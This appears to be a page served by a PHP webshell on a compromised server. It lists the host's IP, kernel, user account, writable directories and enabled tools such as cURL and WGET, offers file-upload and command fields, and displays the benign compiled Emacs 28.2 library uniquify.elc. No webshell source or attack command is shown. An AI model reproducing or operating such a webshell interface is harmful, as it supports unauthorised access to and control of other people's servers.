403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp//uniquify.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301\302\303\304\305%\210\306\307\310\311\312DD\313\314\315\316\317\320\301&	\210\306\321\310\311\322DD\323\314\324%\210\306\325\310\311\326DD\327\314\330%\210\306\331\310\311\332DD\333\314\334%\210\306\335\310\311\336DD\337\314\340%\210\306\341\310\311\342DD\343\314\324%\210\306\344\310\311\345DD\346\314\324%\207" [custom-declare-group uniquify nil "Unique buffer names dependent on file name." :group files custom-declare-variable uniquify-buffer-name-style funcall function #[0 "\300\207" [post-forward-angle-brackets] 1 #1=""] "How to construct unique buffer names for files with the same base name.\nThe value can be one of: `forward', `reverse', `post-forward',\n`post-forward-angle-brackets', or nil.\n\nFor example, the files `/foo/bar/mumble/name' and `/baz/quux/mumble/name'\nwould have the following buffer names in the various styles:\n\n  forward                       bar/mumble/name    quux/mumble/name\n  reverse                       name\\mumble\\bar    name\\mumble\\quux\n  post-forward                  name|bar/mumble    name|quux/mumble\n  post-forward-angle-brackets   name<bar/mumble>   name<quux/mumble>\n  nil                           name               name<2>\n\nThe value can be set to a customized function with two arguments\nBASE and EXTRA-STRINGS where BASE is a string and EXTRA-STRINGS\nis a list of strings.  For example the current implementation for\npost-forward-angle-brackets could be:\n\n(defun my-post-forward-angle-brackets (base extra-string)\n  (concat base \"<\" (mapconcat #\\='identity extra-string \"/\") \">\"))\n\nThe \"mumble\" part may be stripped as well, depending on the\nsetting of `uniquify-strip-common-suffix'.  For more options that\nyou can set, browse the `uniquify' custom group." :type (radio (const forward) (const reverse) (const post-forward) (const post-forward-angle-brackets) (function :tag "Other") (const :tag "numeric suffixes" nil)) :version "24.4" :require uniquify-after-kill-buffer-p #[0 "\300\207" [t] 1 #1#] "If non-nil, rerationalize buffer names after a buffer has been killed." boolean uniquify-ignore-buffers-re #[0 "\300\207" [nil] 1 #1#] "Regular expression matching buffer names that should not be uniquified.\nFor instance, set this to \"^draft-[0-9]+$\" to avoid having uniquify rename\ndraft buffers even if `uniquify-after-kill-buffer-p' is non-nil and the\nvisited file name isn't the same as that of the buffer." (choice (const :tag "Uniquify all buffers" nil) regexp) uniquify-min-dir-content #[0 "\300\207" [0] 1 #1#] "Minimum number of directory name components included in buffer name." integer uniquify-separator #[0 "\300\207" [nil] 1 #1#] "String separator for buffer name components.\nWhen `uniquify-buffer-name-style' is `post-forward', separates\nbase file name from directory part in buffer names (default \"|\").\nWhen `uniquify-buffer-name-style' is `reverse', separates all\nfile name components (default \"\\\")." (choice (const nil) string) uniquify-trailing-separator-p #[0 "\300\207" [nil] 1 #1#] "If non-nil, add a file name separator to dired buffer names.\nIf `uniquify-buffer-name-style' is `forward', add the separator at the end;\nif it is `reverse', add the separator at the beginning; otherwise, this\nvariable is ignored." uniquify-strip-common-suffix #[0 "\301=\207" [uniquify-min-dir-content 0] 2 #1#] "If non-nil, strip common directory suffixes of conflicting files.\nE.g. if you open /a1/b/c/d and /a2/b/c/d, the buffer names will say\n\"d|a1\" and \"d|a2\" instead of \"d|a1/b/c\" and \"d|a2/b/c\".\nThis can be handy when you have deep parallel hierarchies."] 10)
#@217 List of modes for which uniquify should obey `list-buffers-directory'.
That means that when `buffer-file-name' is set to nil, `list-buffers-directory'
contains the name of the directory which the buffer is visiting.
(defvar uniquify-list-buffers-directory-modes '(dired-mode cvs-mode vc-dir-mode) (#$ . 3698))
#@72 compiler-macro for inlining `uniquify-item-p'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-p--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-p (and (memq (type-of cl-x) cl-struct-uniquify-item-tags) t)) nil] 9 (#$ . 4014)])
(put 'uniquify-item-p 'compiler-macro 'uniquify-item-p--cmacro)
#@13 

(fn CL-X)
(defalias 'uniquify-item-p #[257 "\301!>\205	\302\207" [cl-struct-uniquify-item-tags type-of t] 3 (#$ . 4366)])
(byte-code "\300\301\302\303#\304\305\306\301#\207" [function-put uniquify-item-p side-effect-free error-free put uniquify-item cl-deftype-satisfies] 5)
#@75 compiler-macro for inlining `uniquify-item-base'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-base--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-base (progn (or (uniquify-item-p cl-x) (signal 'wrong-type-argument (list 'uniquify-item cl-x))) (aref cl-x 1))) nil] 9 (#$ . 4652)])
(put 'uniquify-item-base 'compiler-macro 'uniquify-item-base--cmacro)
#@63 Access slot "base" of `uniquify-item' struct CL-X.

(fn CL-X)
(defalias 'uniquify-item-base #[257 "\301!>\204\302\303\304D\"\210\211\305H\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 1] 5 (#$ . 5067)])
(byte-code "\300\301\302\303#\300\207" [function-put uniquify-item-base side-effect-free t] 4)
#@78 compiler-macro for inlining `uniquify-item-dirname'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-dirname--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-dirname (progn (or (uniquify-item-p cl-x) (signal 'wrong-type-argument (list 'uniquify-item cl-x))) (aref cl-x 2))) nil] 9 (#$ . 5414)])
(put 'uniquify-item-dirname 'compiler-macro 'uniquify-item-dirname--cmacro)
#@66 Access slot "dirname" of `uniquify-item' struct CL-X.

(fn CL-X)
(defalias 'uniquify-item-dirname #[257 "\301!>\204\302\303\304D\"\210\211\305H\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 2] 5 (#$ . 5844)])
(byte-code "\300\301\302\303#\300\207" [function-put uniquify-item-dirname side-effect-free t] 4)
#@77 compiler-macro for inlining `uniquify-item-buffer'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-buffer--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-buffer (progn (or (uniquify-item-p cl-x) (signal 'wrong-type-argument (list 'uniquify-item cl-x))) (aref cl-x 3))) nil] 9 (#$ . 6200)])
(put 'uniquify-item-buffer 'compiler-macro 'uniquify-item-buffer--cmacro)
#@65 Access slot "buffer" of `uniquify-item' struct CL-X.

(fn CL-X)
(defalias 'uniquify-item-buffer #[257 "\301!>\204\302\303\304D\"\210\211\305H\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 3] 5 (#$ . 6625)])
(byte-code "\300\301\302\303#\300\207" [function-put uniquify-item-buffer side-effect-free t] 4)
#@79 compiler-macro for inlining `uniquify-item-proposed'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-proposed--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-proposed (progn (or (uniquify-item-p cl-x) (signal 'wrong-type-argument (list 'uniquify-item cl-x))) (aref cl-x 4))) nil] 9 (#$ . 6978)])
(put 'uniquify-item-proposed 'compiler-macro 'uniquify-item-proposed--cmacro)
#@67 Access slot "proposed" of `uniquify-item' struct CL-X.

(fn CL-X)
(defalias 'uniquify-item-proposed #[257 "\301!>\204\302\303\304D\"\210\211\305H\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 4] 5 (#$ . 7413)])
(byte-code "\300\301\302\303#\300\207" [function-put uniquify-item-proposed side-effect-free t] 4)
#@87 compiler-macro for inlining `uniquify-item-original-dirname'.

(fn CL-WHOLE-ARG CL-X)
(defalias 'uniquify-item-original-dirname--cmacro #[514 "\300\301\302\303\211\211&\207" [cl--defsubst-expand (cl-x) (cl-block uniquify-item-original-dirname (progn (or (uniquify-item-p cl-x) (signal 'wrong-type-argument (list 'uniquify-item cl-x))) (aref cl-x 5))) nil] 9 (#$ . 7772)])
(put 'uniquify-item-original-dirname 'compiler-macro 'uniquify-item-original-dirname--cmacro)
#@75 Access slot "original-dirname" of `uniquify-item' struct CL-X.

(fn CL-X)
(defalias 'uniquify-item-original-dirname #[257 "\301!>\204\302\303\304D\"\210\211\305H\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 5] 5 (#$ . 8247)])
(byte-code "\300\301\302\303#\300\207" [function-put uniquify-item-original-dirname side-effect-free t] 4)
#@126 compiler-macro for inlining `uniquify-make-item'.

(fn CL-WHOLE-ARG BASE DIRNAME BUFFER &optional PROPOSED ORIGINAL-DIRNAME)
(defalias 'uniquify-make-item--cmacro #[1540 "\300\301\302\303\211\211\n\n\n\n\n&\n\207" [cl--defsubst-expand (base dirname buffer proposed original-dirname) (cl-block uniquify-make-item (record 'uniquify-item base dirname buffer proposed original-dirname)) nil] 17 (#$ . 8631)])
(put 'uniquify-make-item 'compiler-macro 'uniquify-make-item--cmacro)
#@112 Constructor for objects of type `uniquify-item'.

(fn BASE DIRNAME BUFFER &optional PROPOSED ORIGINAL-DIRNAME)
(defalias 'uniquify-make-item #[1283 "\300\301&\207" [record uniquify-item] 12 (#$ . 9118)])
(byte-code "\300\301\302\303#\304\305\306\307\310\306\311\312\305\303&	\207" [function-put uniquify-make-item side-effect-free t cl-struct-define uniquify-item nil cl-structure-object record ((cl-tag-slot) (base) (dirname) (buffer) (proposed) (original-dirname)) cl-struct-uniquify-item-tags] 11)
(defvar uniquify-possibly-resolvable nil)
#@138 Non-nil if the name of this buffer is managed by uniquify.
It actually holds the list of `uniquify-item's corresponding to the conflict.
(defvar uniquify-managed nil (#$ . 9679))
(byte-code "\300\301!\210\302\301\303\304#\207" [make-variable-buffer-local uniquify-managed put permanent-local t] 4)
#@98 Return the base name of the current buffer.
Return nil if the buffer is not managed by uniquify.
(defalias 'uniquify-buffer-base-name #[0 "\205\302@!	>\204\303\304\305@D\"\210@\306H\207" [uniquify-managed cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 1] 4 (#$ . 9983)])
#@263 Make file buffer names unique by adding segments from file name.
If `uniquify-min-dir-content' > 0, always pulls that many
file name elements.
Arguments BASE, DIRNAME, and NEWBUF specify the new buffer that causes
this rationalization.

(fn BASE DIRNAME NEWBUF)
(defalias 'uniquify-rationalize-file-buffer-names #[771 "r\211q\210\303)\205\304\305!!\262\306\307\303&C\303\310 \211\203\211@	\2033\311	\312!\"\204\372\313\300\"\211\262\203\372\314@!\n>\204Q\315\316\307@D\"\210@\317H\232\203\372@>\204\372A\204\315\314@!\n>\204v\315\316\307@D\"\210@\211\320\321\314@!\n>\204\216\315\316\307	@D\"\210@\322H!I\266\314@!\n>\204\250\315\316\307@D\"\210@\320H\204\315r\314@!\n>\204\301\315\316\307@D\"\210@\322Hq\210\303)\303\262\323\303\324\325\"\"\262\303\211\203\362\211@\211>\204\353\211B\262A\266\202\202\331\210\326\"\262\210A\266\202\202 \210\327!\266\202\207" [uniquify-managed uniquify-ignore-buffers-re cl-struct-uniquify-item-tags nil expand-file-name directory-file-name record uniquify-item buffer-list string-match buffer-name buffer-local-value type-of signal wrong-type-argument 1 2 uniquify-buffer-file-name 3 delq mapcar #[257 "\301\302!>\204\303\304\305D\"\210\306H!\205\211\207" [cl-struct-uniquify-item-tags buffer-live-p type-of signal wrong-type-argument uniquify-item 3] 6 "\n\n(fn ITEM)"] append uniquify-rationalize] 15 (#$ . 10300) (byte-code "\203\302@!	>\204\303\304\305@D\"\210@\306H\202\307 \310p!pE\207" [uniquify-managed cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 1 buffer-name uniquify-buffer-file-name] 4)])
#@224 Return name of directory, file BUFFER is visiting, or nil if none.
Works on ordinary file-visiting buffers and buffers whose mode is mentioned
in `uniquify-list-buffers-directory-modes', otherwise returns nil.

(fn BUFFER)
(defalias 'uniquify-buffer-file-name #[257 "r\211q\210\206	\n>\205\211\205\304\305\306\304!!!!\262)\207" [buffer-file-name major-mode uniquify-list-buffers-directory-modes list-buffers-directory directory-file-name file-name-directory expand-file-name] 7 (#$ . 11968)])
#@87 Re-rationalize the buffers in FIX-LIST, but ignoring `current-buffer'.

(fn FIX-LIST)
(defalias 'uniquify-rerationalize-w/o-cb #[257 "\301\211\2033\211@\302!>\204\303\304\305D\"\210\211\306H\211p=\204+\307!\203+B\262\210A\266\202\202\210\211\205;\310!\207" [cl-struct-uniquify-item-tags nil type-of signal wrong-type-argument uniquify-item 3 buffer-live-p uniquify-rationalize] 8 (#$ . 12477)])
#@17 

(fn FIX-LIST)
(defalias 'uniquify-rationalize #[257 "\211\211\203w\211@r\303!>\204\304\305\306D\"\210\211\307Hq\210\303!>\204+\304\305\306D\"\210\211\310\311\303!>\204>\304\305\306D\"\210\312H\303!>\204Q\304\305\306D\"\210\313H\314\303!>\204f\304\305\306	D\"\210\315H$I\210)A\266\202\202\210\211A\203g\n\203g\316\317\303@!>\204\224\304\305\306@D\"\210@\313H!G\320V\205\321\203\320\211\203\320\317\211A\262\242\303!>\204\300\304\305\306D\"\210\211\313H\262!\232\204\241\314\262\202\241\266\202\203f\314\262\211\203b\211@\303!>\204\357\304\305\306D\"\210\211\312H\321\303!>\204\304\305\306D\"\210\313H!\211\205
\322!\262\303!>\204\304\305\306D\"\210\307H\303!>\2041\304\305\306D\"\210\310H\303!>\204D\304\305\306D\"\210\315H\323\306&\266\205B\262A\266\202\202\332\210\202\202\210\324!\207" [cl-struct-uniquify-item-tags uniquify-managed uniquify-strip-common-suffix type-of signal wrong-type-argument uniquify-item 3 4 uniquify-get-proposed-name 1 2 nil 5 t file-name-nondirectory 0 file-name-directory directory-file-name record uniquify-rationalize-a-list] 16 (#$ . 12896)])
#@20 

(fn ITEM1 ITEM2)
(defalias 'uniquify-item-greaterp #[514 "\301!>\204\302\303\304D\"\210\211\305H\301!>\204!\302\303\304D\"\210\305H\231\207" [cl-struct-uniquify-item-tags type-of signal wrong-type-argument uniquify-item 4] 7 (#$ . 14090)])
#@33 

(fn FIX-LIST &optional DEPTH)
(defalias 'uniquify-rationalize-a-list #[513 "\211\204\262\302\303\302\304\305!\306\"\211\203J\211@\307!	>\204&\310\311\312D\"\210\211\313H\262\232\204;\314#\210\302\262\211B\262\262A\266\202\202\210\314#\207" [uniquify-min-dir-content cl-struct-uniquify-item-tags nil "" sort copy-sequence uniquify-item-greaterp type-of signal wrong-type-argument uniquify-item 4 uniquify-rationalize-conflicting-sublist] 11 (#$ . 14348)])
#@54 

(fn BASE DIRNAME &optional DEPTH ORIGINAL-DIRNAME)
(defalias 'uniquify-get-proposed-name #[1026 "\204\262\305!\232\204\306\307!\210	\203=\310\311\"!\203=\312\230\204=\n\313\267\202=\314!\262\202=\2069\315P\262\316\211\317V\203~\203~\320!\321!\211\262\203\\\305!\262S\262\211G\317U\203u\322!\206o\312\316\262\202v\211B\262\210\202?\211\317U\203\234\203\232\203\232\321!\232\203\232\312B\262\323\204\242\207\312\230\203\256\324\325\326#\207\n\327\267\202\343\324\325\237B\206\300\315#\207\324\325C\244\326#\207\206\322\330\324\325\326#Q\207\331\324\325\326#\332R\207\333\n!\203\357\n\"\207\334\335\n\"\207" [uniquify-min-dir-content uniquify-trailing-separator-p uniquify-buffer-name-style uniquify-separator uniquify-possibly-resolvable directory-file-name cl--assertion-failed (equal (directory-file-name dirname) dirname) file-directory-p expand-file-name "" #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (forward 44 reverse 52)) file-name-as-directory "\\" nil 0 file-name-nondirectory file-name-directory file-remote-p t mapconcat identity "/" #s(hash-table size 4 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (reverse 180 forward 194 post-forward 204 post-forward-angle-brackets 217)) "|" "<" ">" functionp error "Bad value for uniquify-buffer-name-style: %s"] 12 (#$ . 14841)])
#@33 

(fn CONF-LIST OLD-NAME DEPTH)
(defalias 'uniquify-rationalize-conflicting-sublist #[771 "\205\252A\204.\302!\211\205)\211\303@!>\204#\304\305\306@D\"\210@\307H=?\262\203\236	\205\252\310\211T\262\211\203\230\211@\303!>\204N\304\305\306D\"\210\211\311\312\303!>\204a\304\305\306D\"\210\313H\303!>\204t\304\305\306D\"\210\314H\303!>\204\212\304\305\306	D\"\210\315H$I\210A\266\202\2029\210\316\"\207\317\230?\205\252\320@\"\207" [cl-struct-uniquify-item-tags uniquify-possibly-resolvable get-buffer type-of signal wrong-type-argument uniquify-item 3 nil 4 uniquify-get-proposed-name 1 2 5 uniquify-rationalize-a-list "" uniquify-rename-buffer] 15 (#$ . 16273)])
#@21 

(fn ITEM NEWNAME)
(defalias 'uniquify-rename-buffer #[514 "\302!>\204\303\304\305D\"\210\306H\307!\232?\205&r\211q\210\310\311\312\"*\207" [cl-struct-uniquify-item-tags uniquify-buffer-name-style type-of signal wrong-type-argument uniquify-item 3 buffer-name nil rename-buffer t] 6 (#$ . 16993)])
#@55 Re-rationalize buffer names, ignoring current buffer.
(defalias 'uniquify-maybe-rerationalize-w/o-cb #[0 "A\205\f	\205\f\302!\207" [uniquify-managed uniquify-buffer-name-style uniquify-rerationalize-w/o-cb] 2 (#$ . 17309)])
#@86 Re-rationalize buffer names, ignoring current buffer.
For use on `kill-buffer-hook'.
(defalias 'uniquify-kill-buffer-function #[0 "\205\301 \207" [uniquify-after-kill-buffer-p uniquify-maybe-rerationalize-w/o-cb] 1 (#$ . 17543)])
(byte-code "\300\301\302\"\210\303\304\305\306#\207" [add-hook kill-buffer-hook uniquify-kill-buffer-function advice-add rename-buffer :around uniquify--rename-buffer-advice] 4)
#@102 Uniquify buffer names with parts of directory name.

(fn RB-FUN NEWNAME &optional UNIQUE &rest ARGS)
(defalias 'uniquify--rename-buffer-advice #[898 "\302$\303 \210\204\304\207	\203!\305\306p!p#\210\307p!\262\207" [uniquify-managed uniquify-buffer-name-style apply uniquify-maybe-rerationalize-w/o-cb nil uniquify-rationalize-file-buffer-names uniquify-buffer-file-name buffer-name] 9 (#$ . 17961)])
(advice-add 'create-file-buffer :around 'uniquify--create-file-buffer-advice)
#@87 Uniquify buffer names with parts of directory name.

(fn CFB-FUN FILENAME &rest ARGS)
(defalias 'uniquify--create-file-buffer-advice #[642 "\301#\203\302\303!!\304\305!\306!#\266\207" [uniquify-buffer-name-style apply expand-file-name directory-file-name uniquify-rationalize-file-buffer-names file-name-nondirectory file-name-directory] 9 (#$ . 18456)])
#@30 Unload the uniquify library.
(defalias 'uniquify-unload-function #[0 "r\302\303 \211\2033\211@\211q\210\203,\211\304@!	>\204#\305\306\307@D\"\210@\310HBB\262A\266\202\202\210\311\312\313\"\210\311\314\315\"\210\211\211\203V\211@\211@q\210\312A\316\"\210A\266\202\202?\266)\302\207" [uniquify-managed cl-struct-uniquify-item-tags nil buffer-list type-of signal wrong-type-argument uniquify-item 1 advice-remove rename-buffer uniquify--rename-buffer-advice create-file-buffer uniquify--create-file-buffer-advice t] 8 (#$ . 18828)])
(provide 'uniquify)

Youez - 2016 - github.com/yon3zu
LinuXploit